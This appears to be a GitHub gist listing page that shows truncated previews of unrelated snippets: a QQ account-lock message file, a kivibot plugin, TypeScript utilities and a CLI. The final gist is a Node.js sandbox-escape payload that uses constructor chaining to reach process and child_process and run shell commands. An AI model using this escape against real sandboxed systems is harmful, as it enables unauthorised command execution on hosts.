Install, build and debug a react native app in WSL2 (Windows Subsystem for Linux) and Ubuntu.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"LOCKTOWER_REASON_SMART_63": { | |
"reason": 63, | |
"type": 1, | |
"reasonDesc": "", | |
"title": "该QQ帐号存在安全风险,已被安全保护。", | |
"description": "根据系统检测,该QQ帐号存在安全风险,已被安全保护。", | |
"eDescription": "根据系统检测,该QQ帐号存在安全风险,已被安全保护。", | |
"button": "申请立即解冻", | |
"link": "" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { definePlugin, http } from 'kivibot' | |
export default definePlugin({ | |
name: 'sd', | |
version: '1.0.0', | |
setup(ctx) { | |
ctx.handle('message', async (e) => { | |
if (e.raw_message.startsWith('#sd ')) { | |
const hasRight = ctx.isOwner(e) || ctx.isAdmin(e) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// @from antfu https://antfu.me/posts/destructuring-with-object-or-array | |
export function destructIt<T extends Record<string, unknown>, A extends readonly any[]>( | |
obj: T, | |
arr: A | |
): T & A { | |
const clone = { ...obj } | |
Object.defineProperty(clone, Symbol.iterator, { | |
enumerable: false, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sade from 'sade' | |
const kivi = sade('kivi') | |
kivi | |
.version('1.0.0') | |
.describe('cli for kivibot') | |
.option('-c, --config', 'Provide path to custom kivibot config', 'kivi.json') | |
kivi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function isObject(obj: unknown): obj is Record<string, unknown> { | |
return typeof obj === 'object' && obj !== null | |
} | |
export function deepClone<T>(obj: T, cache: Map<unknown, unknown> = new Map()): T { | |
if (obj === null || typeof obj !== 'object') { | |
return obj | |
} | |
if (cache.has(obj)) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import rfdc from 'rfdc' | |
type Listener<T> = (snapshot: T) => void | |
interface State<T extends object> { | |
proxy: T | |
target: T | |
listeners: Set<Listener<T>> | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let currentListener: Function | undefined = undefined | |
function createSignal<T>(initialValue: T) { | |
let value = initialValue | |
const subscribers = new Set<Function>() | |
const read = () => { | |
if (currentListener !== undefined) { | |
subscribers.add(currentListener) |
Thanks to @jogerj and @PrimeCicada for the method! Original script: https://gist.github.com/jogerj/0339e61a92e0de2e360c5212a94854e8
Open powershell, then copy paste this script:
Global:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// setTimeout.constructor('return process')().mainModule.constructor._load('child_process').execSync('ls').toString(); | |
this.constructor.constructor('return process')().mainModule.constructor._load('child_process').execSync('ls').toString(); | |
var exec = this.constructor.constructor; | |
var process = exec('return process')(); | |
var require = process.mainModule.constructor._load; | |
var execSysCmd = require('child_process').execSync; | |
// process.exit(); |
NewerOlder